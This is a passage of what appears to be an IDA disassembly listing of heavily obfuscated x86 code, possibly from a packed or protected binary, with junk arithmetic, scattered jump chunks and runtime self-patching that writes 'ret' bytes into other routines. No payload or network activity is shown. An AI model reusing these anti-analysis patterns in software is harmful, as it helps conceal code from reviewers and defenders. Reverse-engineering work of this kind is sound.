		jmp	loc_7461C6
; END OF FUNCTION CHUNK	FOR sub_7572F3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74D414:				; CODE XREF: sub_747C22+2A7j
		jmp	loc_74DCDF
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------

locret_74D419:				; CODE XREF: _0z4jwtox:loc_7500DFj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FA7E


loc_74D41A:				; CODE XREF: sub_74FA7E+5AC1j
		jmp	nullsub_152
; END OF FUNCTION CHUNK	FOR sub_74FA7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7460F1


loc_74D41F:				; CODE XREF: sub_7460F1+4A98j
		jmp	loc_747AAA
; END OF FUNCTION CHUNK	FOR sub_7460F1

; =============== S U B	R O U T	I N E =======================================



sub_74D424	proc near		; CODE XREF: sub_752E0F:loc_74C119j

; FUNCTION CHUNK AT 00749364 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749CC1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00750B69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007510D1 SIZE 00000003 BYTES

		add	esp, 0FFFFFFF8h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		mov	edx, [ebp-8]
		jmp	loc_750B69
sub_74D424	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_254. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74D436:				; CODE XREF: sub_747C22+C29Aj
		jmp	loc_74E719
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C3B


loc_74D43B:				; CODE XREF: sub_748C3B:loc_74A45Bj
		pushf
		push	0B7307DD4h
		pop	edx
		or	edx, 0BF0D7475h
		and	edx, 1CDAF038h
		jmp	loc_74C836
; END OF FUNCTION CHUNK	FOR sub_748C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750243


loc_74D453:				; CODE XREF: sub_750243:loc_74C831j
		add	edx, 39955EDh
		xor	edx, 114700E5h
		add	edx, 25BE8AFAh
		mov	[edx], eax
		xchg	eax, [esp+10h+var_10]
		mov	edx, eax
		jmp	loc_74C456
; END OF FUNCTION CHUNK	FOR sub_750243
; ---------------------------------------------------------------------------
		ja	loc_74CA22
		jmp	sub_74A045
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74D47D:				; CODE XREF: _0z4jwtox:00750D14j
		jmp	sub_74DAAF
; ---------------------------------------------------------------------------


loc_74D482:				; CODE XREF: _0z4jwtox:0074E667j
		not	edx
		xchg	ebx, [edi]
		push	eax
		jge	loc_751E55
		jmp	loc_7536AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750A01


loc_74D492:				; CODE XREF: sub_750A01+Ej
		cmp	dword ptr [ebp-14h], 5
		setz	al
		call	sub_7452F3
		pop	ecx
		jmp	loc_74589D
; END OF FUNCTION CHUNK	FOR sub_750A01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74D4A4:				; CODE XREF: sub_747736+100DFj
		jge	loc_7525E2


loc_74D4AA:				; CODE XREF: _0z4jwtox:007536A9j
		jmp	loc_74690D
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A54A


loc_74D4AF:				; CODE XREF: sub_74A54A+5j
		jmp	nullsub_59
; END OF FUNCTION CHUNK	FOR sub_74A54A
; ---------------------------------------------------------------------------
		jle	loc_749995
		jl	loc_754B62
		jmp	loc_74E6CC

; =============== S U B	R O U T	I N E =======================================



sub_74D4C5	proc near		; CODE XREF: sub_752520:loc_747300p
					; _0z4jwtox:0074BCD9j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007551FF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007570A7 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ebp, [esp-4+arg_0]
		and	ecx, ebp
		jmp	loc_7551FF
sub_74D4C5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74D4D3	proc near		; CODE XREF: sub_754DFF-AF66p
					; _0z4jwtox:0074D12Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0074534E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007455B7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00748D7A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074AC29 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0074AE02 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C402 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C8BB SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0074E64D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750ACB SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00752FA1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753D44 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0075638D SIZE 00000011 BYTES

		xchg	edx, [esp-8+arg_4]
		pop	edx
		xchg	edi, [esp+0]
		mov	ebx, edi
		or	edi, ebp
		jmp	loc_74534E
sub_74D4D3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 510AEA73h
		call	sub_746E93
		push	edi
		push	4F8E8983h
		pop	edi
		xor	edi, 0D4DE0EB7h
		or	edi, 23EB344Eh
		jmp	loc_74E637

; =============== S U B	R O U T	I N E =======================================



sub_74D505	proc near		; CODE XREF: _0z4jwtox:0074BFF3j
					; sub_755C10-967p

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_746E93
sub_74D505	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757314


loc_74D511:				; CODE XREF: sub_757314:loc_745F88j
		add	ecx, 0D3198D4Dh
		mov	ecx, [ecx]
		popf
		mov	eax, [ebp-24h]
		mov	dx, [eax+2]
		push	offset loc_746FEA
		jmp	loc_74E816
; END OF FUNCTION CHUNK	FOR sub_757314
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_74D52B:				; CODE XREF: sub_74946E:loc_745861j
		or	edx, 19365C09h
		pop	ecx
		jl	sub_747892
		mov	ecx, 916492F1h
		xor	edi, 0FA40CE54h
		jmp	loc_75083C
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
		sub	ebx, 0FD442C7Fh
		jmp	sub_74F13C
; ---------------------------------------------------------------------------
		push	ebx
		push	52387405h
		pop	ebx
		xor	ebx, 6F015926h
		and	ebx, 524B71E3h
		add	ebx, 0F038CF19h
		jmp	loc_749239
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FB89


loc_74D571:				; CODE XREF: sub_755340-B7EEj
					; sub_74FB89+13j
		cmp	dword ptr [ebp-8], 0A22F8A70h
		jz	loc_74D586
		mov	eax, [ebp-0Ch]
		call	sub_746CF0
; END OF FUNCTION CHUNK	FOR sub_74FB89
; START	OF FUNCTION CHUNK FOR sub_74BE45


loc_74D586:				; CODE XREF: sub_748A22:loc_7454A9j
					; sub_748A22-2175j ...
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_74BE45
; ---------------------------------------------------------------------------


loc_74D58D:				; CODE XREF: _0z4jwtox:0074942Bj
		jmp	loc_74FC57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C0D


loc_74D592:				; CODE XREF: sub_748C0D:loc_754B16j
		mov	eax, [eax]
		mov	al, [eax]
		js	loc_747296


loc_74D59C:				; CODE XREF: _0z4jwtox:0074CAA1j
		sub	al, 99h


loc_74D59E:				; CODE XREF: _0z4jwtox:loc_74CB04j
		push	0CA8C86EAh
		jmp	loc_74FFE3
; END OF FUNCTION CHUNK	FOR sub_748C0D
; ---------------------------------------------------------------------------
		js	loc_749D17
		jmp	sub_74E693
; ---------------------------------------------------------------------------

locret_74D5B3:				; CODE XREF: _0z4jwtox:loc_7533BCj
		retn
; ---------------------------------------------------------------------------


loc_74D5B4:				; CODE XREF: _0z4jwtox:007561A6j
		jmp	sub_74C0A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74D5B9:				; CODE XREF: sub_747AEC+975Cj
		jmp	loc_74DEB6
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7544F1


loc_74D5BE:				; CODE XREF: sub_7544F1-D8AFj
		jmp	loc_74789B
; END OF FUNCTION CHUNK	FOR sub_7544F1
; ---------------------------------------------------------------------------
		sub	ecx, 0E245421Dh
		jmp	sub_7560FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74D5CE:				; CODE XREF: sub_747C22+1891j
		mov	ebp, [eax]


loc_74D5D0:				; CODE XREF: sub_747C22:loc_75706Bj
		push	0E1009110h
		pop	eax
		xor	eax, 6F8492C6h
		add	eax, 1F0E359h
		jmp	loc_7453E0
; END OF FUNCTION CHUNK	FOR sub_747C22
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_74D5E8:				; CODE XREF: sub_75275A+2084j
		cmp	edi, esi
		jmp	loc_7524A4
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------
		mov	eax, 0A4811312h
		call	sub_746E93
		mov	ds:off_41F07C, eax
		lea	eax, loc_74DACA
		mov	byte ptr [eax],	0C3h
		jmp	loc_74EE53

; =============== S U B	R O U T	I N E =======================================



sub_74D60D	proc near		; CODE XREF: sub_40517E+27Bp
					; _0z4jwtox:00749151j
					; DATA XREF: ...
		push	offset loc_74914C
		jmp	nullsub_60
sub_74D60D	endp

; ---------------------------------------------------------------------------
		jmp	ds:off_41F0BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7570B1


loc_74D61D:				; CODE XREF: sub_7570B1-4A81j
		jmp	loc_756534
; END OF FUNCTION CHUNK	FOR sub_7570B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBB7


loc_74D622:				; CODE XREF: sub_74CBB7+59F6j
		jmp	sub_74BFE0
; END OF FUNCTION CHUNK	FOR sub_74CBB7
; ---------------------------------------------------------------------------


loc_74D627:				; CODE XREF: _0z4jwtox:0074B139j
		jmp	locret_7552A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746B7C


loc_74D62C:				; CODE XREF: sub_7504F1:loc_747C00j
					; sub_746B7C+FDA9j ...
		xchg	ebp, [esp-8+arg_4]
		push	offset loc_74A604
		jmp	nullsub_89
; END OF FUNCTION CHUNK	FOR sub_746B7C
; ---------------------------------------------------------------------------
		rol	edx, 3
		jmp	sub_7541CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE67


loc_74D641:				; CODE XREF: sub_74AE67:loc_74DA63j
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7554A8


loc_74D64C:				; CODE XREF: _0z4jwtox:0074766Cj
		jmp	loc_757298
; END OF FUNCTION CHUNK	FOR sub_74AE67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_74D651:				; CODE XREF: sub_74CBCF+B03j
		xor	esi, 45F7B50Eh
		add	eax, esi
		xchg	ecx, [esp+0]
		mov	esi, ecx
		pop	ecx
		push	ebx
		pushf
		jmp	loc_749D03
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C874


loc_74D666:				; CODE XREF: sub_74C874+16j
		xor	eax, 1443E2AFh
		rol	eax, 16h
		add	eax, 86C2B712h


loc_74D675:				; CODE XREF: sub_750638:loc_755810j
		rol	eax, 3
		add	eax, 883542FEh
		jmp	loc_74F277
; END OF FUNCTION CHUNK	FOR sub_74C874
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_74D683:				; CODE XREF: sub_74673E:loc_752033j
		push	eax
		mov	edx, eax
		call	sub_752E0F
		push	edi
		push	383C7C0Ah
		xchg	esi, [esp+0]
		jmp	loc_74825D
; END OF FUNCTION CHUNK	FOR sub_74673E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74D69A:				; CODE XREF: _0z4jwtox:0074F9AFj
		mov	edi, edx
		mov	[edi], ebx
		jmp	loc_74B974
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74EA54


loc_74D6A3:				; CODE XREF: sub_74EA54:loc_74BB05j
		call	sub_74E84B


loc_74D6A8:				; CODE XREF: _0z4jwtox:0074D90Bj
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74EA54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7476BB


loc_74D6AD:				; CODE XREF: sub_7476BB:loc_74821Cj
		call	sub_7541BA


loc_74D6B2:				; CODE XREF: _0z4jwtox:0075479Aj
		jmp	loc_750A3F
; END OF FUNCTION CHUNK	FOR sub_7476BB
; ---------------------------------------------------------------------------
		test	eax, edi
		jmp	loc_755782
; ---------------------------------------------------------------------------
		rol	ebp, 0Ah
		jmp	sub_755139
; ---------------------------------------------------------------------------


loc_74D6C6:				; CODE XREF: _0z4jwtox:0074F98Fj
		shl	esi, 10h
		mov	eax, 0C0D14C09h
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_74D6CF:				; CODE XREF: sub_74CBCF+2DB3j
		rol	esi, 0Ch
		jmp	loc_74D651
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
		jmp	ds:dword_41F05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755964


loc_74D6DD:				; CODE XREF: sub_755964:loc_755974j
		jmp	loc_74DC45
; END OF FUNCTION CHUNK	FOR sub_755964
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jns	loc_7536A6
		mov	eax, [esp]
		push	edx
		call	sub_755C10
		mov	eax, 0EF9F7D01h
		jmp	loc_74F308
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74D6FC:				; CODE XREF: sub_752D11:loc_74902Dj
		push	esi
		push	516BC8C3h
		pop	esi
		sub	esi, 39F70A90h
		jmp	loc_747088
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------


loc_74D70E:				; CODE XREF: _0z4jwtox:0074A4DEj
		xor	edx, 0E259EA45h
; START	OF FUNCTION CHUNK FOR sub_7570CA


loc_74D714:				; CODE XREF: sub_7570CA-CBF8j
		and	eax, 0FE71B252h
		xor	eax, 0B56AC604h
		push	offset sub_7554BB
		jmp	nullsub_231
; END OF FUNCTION CHUNK	FOR sub_7570CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746389


loc_74D72A:				; CODE XREF: sub_746389+6j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_750C6E
		jmp	loc_746E46
; END OF FUNCTION CHUNK	FOR sub_746389
; ---------------------------------------------------------------------------


loc_74D738:				; CODE XREF: _0z4jwtox:00747CAEj
		or	edi, ebx


loc_74D73A:				; CODE XREF: _0z4jwtox:0074CD3Dj
		jmp	loc_74EEB8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_226. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746389


loc_74D740:				; CODE XREF: sub_746389+A8EBj
		jmp	loc_748AB2
; END OF FUNCTION CHUNK	FOR sub_746389
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_74D745:				; CODE XREF: sub_74E762-9486j
		jmp	loc_74DED7
; END OF FUNCTION CHUNK	FOR sub_74E762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752B0C


loc_74D74A:				; CODE XREF: sub_752B0C:loc_752B11j
		call	sub_7539AE


loc_74D74F:				; CODE XREF: sub_748ABC+Ej
		jmp	loc_74729B
; END OF FUNCTION CHUNK	FOR sub_752B0C
; ---------------------------------------------------------------------------


loc_74D754:				; CODE XREF: _0z4jwtox:00745267j
		jmp	sub_7528FA
; ---------------------------------------------------------------------------


loc_74D759:				; CODE XREF: _0z4jwtox:0075659Fj
		push	1A42C285h
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_74D75E:				; CODE XREF: sub_7557E7:loc_756581j
		rol	eax, 11h
		jb	loc_74F996
; END OF FUNCTION CHUNK	FOR sub_7557E7
; START	OF FUNCTION CHUNK FOR sub_7554BB


loc_74D767:				; CODE XREF: sub_7554BB-AEABj
		jmp	sub_74DE1F
; END OF FUNCTION CHUNK	FOR sub_7554BB
; ---------------------------------------------------------------------------
		popf
		jbe	loc_74FD80
		jmp	loc_74F994
; ---------------------------------------------------------------------------


loc_74D778:				; DATA XREF: sub_748773+77AEo
		mov	[ebp-0Ch], eax
		xor	eax, eax
		jmp	loc_746B72

; =============== S U B	R O U T	I N E =======================================



sub_74D782	proc near		; CODE XREF: sub_755103+3j

; FUNCTION CHUNK AT 00745046 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 007456B1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00745DE6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00746F26 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00747601 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00748EE9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00749679 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00749D85 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074A6A2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074BC91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C9E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D8E9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074F70A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 007509D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00752F1F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00754EFB SIZE 00000006 BYTES

		add	esp, 0FFFFFFD0h
		mov	eax, 12h
		call	sub_749DB4
		test	al, al
		jz	loc_746260
		jmp	loc_74A6A2
sub_74D782	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B01A


loc_74D79C:				; CODE XREF: sub_74B01A:loc_750680j
		push	2050563h
		pop	ebx
		or	ebx, 4FC8DBBCh
		add	ebx, 86FB4FF0h
		or	ebx, 48751B4Fh
		xor	ebx, 19BDD674h
		add	ebx, 393394CCh
		xchg	ebx, [esp+4+var_4]
		jmp	loc_74CB74
; END OF FUNCTION CHUNK	FOR sub_74B01A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AF10


loc_74D7C8:				; CODE XREF: sub_74AF10:loc_755189j
		pushf
		xor	eax, 81A6591h
		jmp	loc_74901A
; END OF FUNCTION CHUNK	FOR sub_74AF10

; =============== S U B	R O U T	I N E =======================================



sub_74D7D4	proc near		; CODE XREF: sub_7460F1+1760j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00749E7C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 007552EB SIZE 00000005 BYTES

		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		call	sub_745715
		call	sub_7460F1


loc_74D7E4:				; CODE XREF: sub_746E93+AFFDj
		jmp	loc_749E7C
sub_74D7D4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748E45


loc_74D7E9:				; CODE XREF: sub_748E45+Cj
		jmp	loc_756D49
; END OF FUNCTION CHUNK	FOR sub_748E45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B31


loc_74D7EE:				; CODE XREF: sub_747B31:loc_753647j
		mov	esp, ebp
		xchg	edx, [esp+0]
		mov	ebp, edx
		pop	edx
		jmp	loc_7528D1
; END OF FUNCTION CHUNK	FOR sub_747B31
; ---------------------------------------------------------------------------


loc_74D7FB:				; CODE XREF: _0z4jwtox:007566A7j
		mov	eax, 99B20D50h
		call	sub_746E93
		push	esi
		push	0CB45FB0Bh
		pop	esi
		add	esi, 58E2058Ah
		and	esi, 0FE92094Ah
		test	esi, 10h
		jmp	loc_74B3B2

; =============== S U B	R O U T	I N E =======================================



sub_74D823	proc near		; CODE XREF: _0z4jwtox:00748351j
					; sub_74FE55:loc_752303p

; FUNCTION CHUNK AT 00748F07 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007499F1 SIZE 00000004 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xor	eax, 2BAD1070h
		add	eax, ebp
		add	eax, 0C35128FCh
		popf
		xor	edx, edx
		jmp	loc_748F07
sub_74D823	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_74D83D:				; CODE XREF: _0z4jwtox:0074CFB2j
		retn
; ---------------------------------------------------------------------------


loc_74D83E:				; CODE XREF: _0z4jwtox:0074B1C5j
		jmp	loc_757877
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_74D843:				; CODE XREF: sub_7541BA-9931j
		jmp	loc_754FAA
; END OF FUNCTION CHUNK	FOR sub_7541BA
; ---------------------------------------------------------------------------
		or	ecx, 0F7F6593Ch
		jmp	loc_75423F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBB7


loc_74D853:				; CODE XREF: sub_74CBB7+Dj
		xchg	edi, [esp+0]
		call	sub_74BFE0
		push	596A4DA7h
		pop	eax
		or	eax, 318009D2h
		cmp	eax, 31F2A18Bh
		jmp	loc_74F56C
; END OF FUNCTION CHUNK	FOR sub_74CBB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749161


loc_74D872:				; CODE XREF: sub_749161:loc_75150Dj
		mov	edi, ebx
		xchg	edi, [esp+4+var_4]
		push	5D81D930h
		pop	ebx
		or	ebx, 0E98A9099h
		rol	ebx, 6
		jmp	loc_74DC8F
; END OF FUNCTION CHUNK	FOR sub_749161
; ---------------------------------------------------------------------------

locret_74D88B:				; CODE XREF: _0z4jwtox:0074BE66j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74D88C:				; CODE XREF: sub_747C22+6B0Bj
		add	eax, 95A6F8EEh
		xor	eax, 97716656h
		add	eax, 0BF71170Ah
		add	eax, ebp
		jmp	loc_7469FE
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B74C


loc_74D8A5:				; CODE XREF: sub_74B74C+13j
		call	sub_74FC30
		push	offset loc_756B16
		jmp	nullsub_61
; END OF FUNCTION CHUNK	FOR sub_74B74C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750C2D


loc_74D8B4:				; CODE XREF: sub_750C2D+9j
		pop	edi
		and	eax, 5144C06Ah
		or	eax, 77162D3Dh
		sub	eax, 30BE9902h
		jnz	loc_755EB9
; END OF FUNCTION CHUNK	FOR sub_750C2D
; START	OF FUNCTION CHUNK FOR sub_746C84


loc_74D8CD:				; CODE XREF: sub_746C84+482Aj
		jmp	loc_74B5C3
; END OF FUNCTION CHUNK	FOR sub_746C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74D8D2:				; CODE XREF: sub_747C22+CC5j
		jmp	loc_74DADF
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746C25


loc_74D8D7:				; CODE XREF: sub_746C25+6j
		jmp	sub_74F266
; END OF FUNCTION CHUNK	FOR sub_746C25
; ---------------------------------------------------------------------------


loc_74D8DC:				; CODE XREF: _0z4jwtox:007463D8j
		jmp	loc_7551C8
; ---------------------------------------------------------------------------
		pushf
		and	edi, eax
		jmp	loc_748F8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_74D8E9:				; CODE XREF: sub_74D782:loc_74A6A2j
		jnz	loc_745DF0
		jmp	loc_746F26
; END OF FUNCTION CHUNK	FOR sub_74D782
; ---------------------------------------------------------------------------
		push	eax
		and	eax, 85C3BB21h
		jmp	sub_7508E6
; ---------------------------------------------------------------------------


loc_74D900:				; CODE XREF: _0z4jwtox:00755630j
		mov	[eax], ecx


loc_74D902:				; CODE XREF: _0z4jwtox:00755619j
		add	ecx, 0B76D203Ch
		xchg	ecx, [esp]
		jmp	loc_74D6A8
; ---------------------------------------------------------------------------
		xor	ecx, 0A2085D8Ch
		jmp	loc_753035
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_74D91B:				; CODE XREF: sub_74F78B:loc_74CBCAj
		pop	edi
		sub	edi, 36CF25B4h
		cmp	edi, 45163A98h
		jmp	loc_74ACEB
; END OF FUNCTION CHUNK	FOR sub_74F78B
; ---------------------------------------------------------------------------

locret_74D92D:				; CODE XREF: _0z4jwtox:00748A4Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749254


loc_74D92E:				; CODE XREF: sub_749254-32BDj
		jmp	loc_74DA1C
; END OF FUNCTION CHUNK	FOR sub_749254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_74D933:				; CODE XREF: sub_748A22-3562j
		jmp	loc_74CA41
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74D938:				; CODE XREF: sub_7543C5-4545j
		add	eax, 58BC8FFDh
		xor	eax, 6DE46D96h
		push	edi
		mov	edi, esi
		xchg	edi, [esp+0]
		push	0DD268CC6h
		jmp	loc_752CF1
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7558D0


loc_74D954:				; CODE XREF: sub_7558D0+Cj
		pop	ecx
		push	ecx
		pushf


loc_74D957:				; CODE XREF: sub_747B31:loc_754CE4j
		push	0E199EC90h
		sub	ecx, 0C1B5D7C3h
		jmp	loc_75103D
; END OF FUNCTION CHUNK	FOR sub_7558D0
; ---------------------------------------------------------------------------


loc_74D967:				; CODE XREF: _0z4jwtox:0075402Fj
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_74F688
		mov	byte ptr [eax],	0C3h
		jmp	loc_755174
; ---------------------------------------------------------------------------


loc_74D978:				; CODE XREF: _0z4jwtox:0075229Dj
		mov	[edx], eax
		call	sub_750B49
; START	OF FUNCTION CHUNK FOR sub_748773


loc_74D97F:				; CODE XREF: sub_748773+220Aj
		jmp	loc_74FF10
; END OF FUNCTION CHUNK	FOR sub_748773
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_239. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74721B


loc_74D985:				; CODE XREF: sub_74721B+4430j
		jmp	loc_74DB18
; END OF FUNCTION CHUNK	FOR sub_74721B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B31


loc_74D98A:				; CODE XREF: sub_747B31+BAFj
		jmp	loc_74F4E7
; END OF FUNCTION CHUNK	FOR sub_747B31
; ---------------------------------------------------------------------------


loc_74D98F:				; CODE XREF: _0z4jwtox:loc_75775Aj
		jnz	loc_7550C5
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_74D995:				; CODE XREF: sub_7474B9-2197j
		jmp	loc_7493A8
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
		pushf
		or	esi, 0B37B07FDh
		add	edi, ebp
		jmp	loc_7550C5
; ---------------------------------------------------------------------------


loc_74D9A8:				; CODE XREF: _0z4jwtox:loc_747888j
		or	edx, 6649EBC7h
		add	edx, 0B349C38Dh
		add	edx, ebp
		add	edx, 66465098h
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_74F2D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_74D9C5:				; CODE XREF: _0z4jwtox:loc_74DFA2j
					; sub_7561AB:loc_756E4Ej
		jz	loc_7544DE
		jmp	loc_74EECC
; END OF FUNCTION CHUNK	FOR sub_7561AB

; =============== S U B	R O U T	I N E =======================================



sub_74D9D0	proc near		; DATA XREF: _0z4jwtox:0074B6B9o
		push	edx
		call	sub_74CAC3
sub_74D9D0	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_7531B7


